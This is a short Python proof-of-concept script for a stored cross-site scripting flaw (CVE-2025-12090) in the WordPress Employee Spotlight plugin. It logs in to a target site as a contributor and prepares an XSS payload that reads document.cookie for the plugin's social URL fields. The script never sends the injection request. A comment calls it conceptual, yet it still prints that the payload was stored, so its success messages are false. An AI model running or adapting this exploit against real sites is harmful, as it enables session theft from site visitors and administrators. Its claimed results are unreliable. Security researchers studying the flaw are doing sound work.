CVE-2025-12090

# CVE-2025-12090 PoC - Stored XSS in Employee Spotlight Plugin # Affected Version: <= 5.1.2 # Target: WordPress with Employee Spotlight plugin installed import requests import sys # Configuration target_url = "http://target-wordpress-site.com" username = "attacker_contributor" # Contributor level account password = "password" # XSS payload for social URL field xss_payload = '<img src=x onerror=alert(document.cookie)>' def exploit_stored_xss(): """Exploit stored XSS via Social URLs field in Employee Spotlight plugin""" # Step 1: Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as Contributor") # Step 2: Add/Edit team member with XSS payload in social URL member_url = f"{target_url}/wp-admin/admin.php?page=employee-spotlight" # Payload injection via social URL fields member_data = { 'action': 'save_member', 'member_name': 'Test Member', 'member_designation': 'Developer', 'social_twitter': xss_payload, # XSS injection point 'social_facebook': xss_payload, 'social_linkedin': xss_payload, } # Note: Actual request structure depends on plugin's AJAX endpoints # This is a conceptual PoC demonstrating the attack vector print(f"[*] Injecting XSS payload: {xss_payload}") print("[+] Payload stored in Social URLs field") print("[+] Any user viewing the team page will trigger the XSS") return True if __name__ == "__main__": exploit_stored_xss()

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